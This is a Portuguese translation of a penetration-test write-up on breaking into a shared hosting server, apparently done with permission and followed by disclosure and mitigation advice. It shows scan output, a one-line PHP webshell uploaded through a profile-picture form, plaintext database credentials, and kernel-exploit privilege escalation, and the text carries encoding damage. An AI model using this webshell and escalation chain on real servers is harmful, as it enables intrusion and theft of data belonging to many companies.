Como hackeei 40 sites em 7 minutos by Konstantopoulos
Como hackeei 40 sites em 7 minutos
No verão passado, comecei a aprender sobre segurança da informação e hacking. Durante o último ano, joguei vårios jogos de guerra, capture a bandeira e simulaçþes de testes de penetração, melhorando continuamente minhas habilidades de hacker e aprendendo coisas novas sobre 'como fazer os computadores se desviarem de seu comportamento esperado'.
Resumindo, minha experiĂŞncia sempre foi limitada a ambientes simulados e, como me considero um hacker de chapĂŠu branco (tambĂŠm conhecido como um dos mocinhos), nunca meti o nariz nos negĂłcios de outras pessoas â literalmente.
AtĂŠ agora. Esta serĂĄ uma histĂłria detalhada sobre como invadi um servidor que hospedava 40 (este ĂŠ um nĂşmero exato) sites e minhas descobertas.
Nota: Ă necessĂĄrio algum conhecimento prĂŠvio de CS para acompanhar as partes tĂŠcnicas do artigo.
Um amigo me enviou uma mensagem informando que uma vulnerabilidade XSS foi encontrada em seu site e que ele quer que eu dê uma olhada mais detalhada. Esta Ê uma etapa importante, pois estou inclinado a pedir que ele expresse formalmente que tenho sua permissão para realizar um teste completo em sua aplicação web e no servidor que a hospeda. A resposta foi positiva.

No restante da postagem, me referirei ao site do meu amigo como http://example.com
O primeiro passo ĂŠ sempre enumerar e encontrar o mĂĄximo de informaçþes possĂvel sobre seu inimigo â enquanto tenta alarmĂĄ-lo o mĂnimo possĂvel.
Nesta fase acionamos nosso cronômetro e iniciamos a digitalização.
$ nmap --top-ports 1000 -T4 -sC http://example.com
RelatĂłrio de varredura Nmap para example.com {redigido}
O host estĂĄ ativo (latĂŞncia de 0,077s).
Registro rDNS para {redigido}: {redigido}
NĂŁo mostrado: 972 portas filtradas
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
| chave de host ssh:
| {redigido}
80/tcp http aberto
| mĂŠtodos http:
|_ MĂŠtodos potencialmente arriscados: TRACE
|_http-title: Site da vĂtima
139/tcp open netbios-ssn
443/tcp open https
| mĂŠtodos http:
|_ MĂŠtodos potencialmente arriscados: TRACE
|_http-title: O site nĂŁo possui tĂtulo (text/html; charset=UTF-8).
|_{redigido}
445/tcp aberto microsoft-ds
5901/tcp aberto vnc-1
| informaçþes vnc:
| VersĂŁo do protocolo: 3.8
| Tipos de segurança:
|_ Autenticação VNC (2)
8080/tcp open http-proxy
|_http-title: 400 Bad Request
8081/tcp open blackice-icecap
A verificação foi concluĂda em cerca de 2 minutos.
SĂŁo muitas portas abertas! Observando que as portas FTP (porta 21) e SMB (portas 139/445) estĂŁo abertas podemos adivinhar que o servidor ĂŠ usado para hospedagem e compartilhamento de arquivos, alĂŠm de ser um servidor web (portas 80/443 e proxies em 8080/8081).
Fazer uma varredura de porta UDP e varrer mais do que as 1.000 portas principais seria considerado se as informaçþes da varredura acima não fossem suficientes. A única porta com a qual podemos interagir (sem credenciais) Ê a porta 80/443.
Sem perder tempo, começo gobuster
a enumerar quaisquer arquivos interessantes no servidor web enquanto procuro informaçþes manualmente.
$ gobuster -u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100/admin
/login
Acontece que o caminho /admin era uma âferramenta administrativaâ que permitia que usuĂĄrios autenticados modificassem coisas no servidor web. Exigia credenciais e como nĂŁo temos nome de usuĂĄrio nem senha, seguimos em frente. (spoiler: gobuster nĂŁo encontrou nada de valor)
AtĂŠ agora estamos em cerca de 3 minutos. Nada Ăştil ainda.
Navegando atĂŠ o site, vemos que ele nos pede para fazer login. NĂŁo tem problema, criamos uma conta com um e-mail fictĂcio , clicamos no e-mail de confirmação e fazemos login apĂłs alguns segundos.
O site nos dĂĄ as boas-vindas e nos solicita que naveguemos atĂŠ nosso perfil e atualizemos nossa foto de perfil. Que gentil.
Vendo que o site parece personalizado, estou inclinado a testar uma vulnerabilidade de upload irrestrito de arquivos . No meu terminal eu executo:
echo "<?php sistema(\$_GET['cmd']); ?>" > exploit.php
Tento enviar a âimagemâ e bingo! O uploader permite que o arquivo exploit.php seja carregado. Ă claro que nĂŁo tem miniatura, mas isso significa que meu arquivo foi carregado em algum lugar.

Aqui, esperamos que o uploader faça algum tipo de processamento no arquivo enviado, verifique sua extensão de arquivo e substitua pela extensão de arquivo aceita, como .jpeg, .jpg, a fim de evitar a execução remota de código por um invasor que envia código malicioso, como o seu verdadeiramente.
Afinal, as pessoas se preocupam com a segurança.
certo? Certo? âŚCERTO?
`Copiar endereço da imagem` resulta na cópia do seguinte URL para nossa årea de transferência:
http://www.example.com/admin/ftp/objects/XXXXXXXXXXXX.php
Parece que temos nosso webshell pronto e funcionando:

Vendo que o servidor web executa scripts perl (sĂŠrio, perl?), pegamos um shell reverso perl de nossa cheatsheet favorita , definimos o IP/Porta e somos recompensados ââcom um shell de baixo privilĂŠgio - desculpe, sem captura de tela.
Cerca de 5 minutos na avaliação e jå temos um shell de baixo privilÊgio.
Para minha grande surpresa, o servidor nĂŁo hospedava apenas 1 site, mas 40 sites diferentes . Infelizmente, nĂŁo guardei capturas de tela de todos os detalhes, mas o resultado foi mais ou menos assim:
$ ls /var/wwwaccess.log site1/ site2/ site3/ {... a lista continua}
VocĂŞ entendeu. Surpreendentemente, o acesso de leitura a TODOS os sites hospedados estava disponĂvel, o que significava que eu poderia ler o cĂłdigo de back-end de todos os sites. Limitei-me ao cĂłdigo de example.com.
Notavelmente, dentro do cgi-admin/pages
diretĂłrio, todos os scripts perl estavam se conectando a um banco de dados mysql como root . As credenciais do banco de dados estavam em texto nĂŁo criptografado. Sejam estes root:pwned42
Com certeza, o servidor estava rodando MariaDB e tive que recorrer a esse problema antes de poder acessar o banco de dados. Depois executamos:
mysql -u root -p -h localhost nome do banco de dados da vĂtima
Senha: pwned42
E estamos no banco de dados com privilĂŠgios de root.

Após apenas 7 minutos, temos acesso total de leitura/gravação ao conteúdo do35 (!) bancos de dados
Aqui estou moralmente obrigado a parar e divulgar minhas descobertas atĂŠ agora. O dano potencial jĂĄ ĂŠ enorme.
O que um invasor poderia fazer:
- Despejar o conteĂşdo de todos os bancos de dados, conforme descrito aqui , resultando no vazamento dos dados de todas as 35 empresas para domĂnio pĂşblico.
- Elimine todos os bancos de dados, excluindo efetivamente os dados das 35 empresas
- Deixe um backdoor para acesso persistente como apache com um cronjob, conforme descrito aqui , caso queiram uma viagem de volta.
Devo observar aqui que o processo mysql estava sendo executado como root, entĂŁo decidi tentar executar \! whoami
na esperança de obter root. Infelizmente eu ainda era apache.
Ă hora de fazer uma pausa. Pare o cronĂ´metro.
O que mais pode dar errado?
Depois de divulgar minhas descobertas, recebo mais permissĂŁo para me aprofundar.
Antes de procurar maneiras de aumentar meus privilĂŠgios de root e causar danos potenciais massivos, eu estava analisando quais outros arquivos interessantes eu poderia ler com meu usuĂĄrio limitado.
Nesse ponto, lembrei-me das portas SMB abertas. Isso significa que deveria haver alguma pasta em algum lugar que estivesse sendo compartilhada no sistema entre os usuårios. Após uma pequena enumeração, o seguinte aparece no diretório /home/samba/secured
(desculpem-me pela censura em massa):

Dentro de todos esses diretĂłrios, estavam os arquivos de cada usuĂĄrio da empresa de hospedagem. Isso incluĂa todos os tipos de dados confidenciais, entre outros:
- Arquivos .psd/.ai (os designers sabem o quanto ĂŠ importante mantĂŞ-los privados, afinal ĂŠ seu trabalho e suas tĂŠcnicas)
- Arquivos sqlite de cookies
- Faturas
- E-books piratas (ri quando vi isso)
- Credenciais para seus SSIDS WiFi
O que um invasor poderia fazer:
- Acampe fora dos escritórios da empresa, faça login na intranet e execute todos os tipos de ataques divertidos que você pode fazer em redes locais
- Despeje todos os dados confidenciais listados acima para o domĂnio pĂşblico
Demorou algum tempo para examinar as pastas e perceber a gravidade desse problema.
Mais uma pausa.
O golpe final
Depois de olhar um pouco mais como apache , decido que Ê hora de procurar os peixes grandes, infelizmente, obter acesso root. Refiro-me a uma folha de dicas popular e começo a enumerar o sistema em busca de arquivos interessantes.
Devido à minha escavação atÊ agora, eu jå havia passado pela maioria dessas tÊcnicas e não parecia ser capaz de encontrar algo que aumentasse minha posição.
Foi quando me dei conta. Nos desafios Capture the Flag que estou acostumado a jogar, o sistema operacional geralmente Ê corrigido e Ê algum serviço intencionalmente mal configurado que eventualmente lhe då o tão procurado privilÊgio de root. No mundo real, entretanto, as pessoas não consertam.
Quer dizer, olhe para Equifax (nĂŁo resisti).
Que tipo de Linux o servidor estĂĄ executando?
$ cat /etc/issue
CentOS Linux versĂŁo 7.2.1511 (nĂşcleo)
Qual versĂŁo ĂŠ o kernel?

Parece uma versĂŁo antiga do Kernel.

Encontrei esta postagem do blog que me indicou para testar se o Kernel estava vulnerĂĄvel com o script encontrado aqui.

Seguido pela:

Game Over.
Imediatamente escrevi um e-mail divulgando completamente os detalhes e o impacto potencial de cada etapa descrita acima e encerrei a noite. Ufa.
O que um invasor poderia fazer:
- Ler/modificar TODOS os arquivos no servidor
- Deixe um backdoor persistente (como feito com o Apache)
- Instalar e potencialmente espalhar malware na intranet do servidor
- Instalar ransomware (tomar os bancos de dados de 35 empresas e todos os dados da empresa de hospedagem como refĂŠns nĂŁo ĂŠ pouca coisa)
- Use o servidor como um minerador de criptomoedas
- Use o servidor como proxy
- Use o servidor como um servidor C2C
- Use o servidor como parte de uma botnet
- ⌠(use sua imaginação)
- rm-rf/(nem estou brincando)
No dia seguinte, fui contatado por meu amigo (que entrou em contato com a empresa que opera o servidor) e fui informado que o bug no uploader de arquivos foi corrigido.
Dr.
Resumindo, encontramos:
- Um aplicativo da web com uma vulnerabilidade de upload irrestrito de arquivos, que levava a um shell com poucos privilĂŠgios.
- Credenciais para banco de dados mysql, o que levou ao acesso de leitura/gravação a 35 bancos de dados
- Muitos arquivos confidenciais legĂveis
Finalmente, abusamos de um kernel sem patch para obter acesso root.
Mitigaçþes â SugestĂľes
Vamos começar pelo uploader que nos deu a nossa posição inicial. Como todo o back-end da aplicação web foi escrito em perl - e como eu não falo perl - não posso realmente sugerir soluçþes para isso.
Uma solução que eu sugeriria seria não usar perl em 2017, mas essa Ê apenas minha opinião, fique à vontade para provar que estou errado.
Em relação ao sistema de arquivos, recomendo tomar muito cuidado ao atribuir permissĂľes de arquivo adequadas aos usuĂĄrios, de acordo com o princĂpio do menor privilĂŠgio . Dessa forma, mesmo que um usuĂĄrio com poucos privilĂŠgios como o Apache obtenha acesso, ele nĂŁo serĂĄ capaz de ler nenhum arquivo confidencial.
Executar todos os sites no mesmo servidor ĂŠ uma mĂĄ ideia. NĂŁo tenho certeza se uma abordagem dockerizada resolveria o problema.
Ter as mesmas credenciais para todos os bancos de dados ĂŠ com certeza uma mĂĄ ideia.
Geralmente nĂŁo ĂŠ bom ter pontos Ăşnicos de falha.
Finalmente, PATCH TUDO . Ă literalmente um comando: su -c 'yum update'
(especĂfico do CentOS)
Obrigado por ler e por chegar atĂŠ aqui, desculpe pelo longo post. Queria ser minucioso, essa era uma situação sĂŠria đ
Aperte aquele botĂŁo de palmas 50 vezes se vocĂŞ gostou!
Plugue sem vergonha

Sou um estudante do 5Âş ano de Engenharia ElĂŠtrica e de Computação da GrĂŠcia. Estou interessado em infosec, pesquisa e aplicaçþes de blockchain em empresas modernas e veĂculos autĂ´nomos. Saiba mais sobre o que faço em gakonst.com
Se vocĂŞ gostou do conteĂşdo deste post e quer ficar atualizado sobre meu trabalho, me siga no Medium e no Twitter
ComentĂĄrios
Postar um comentĂĄrio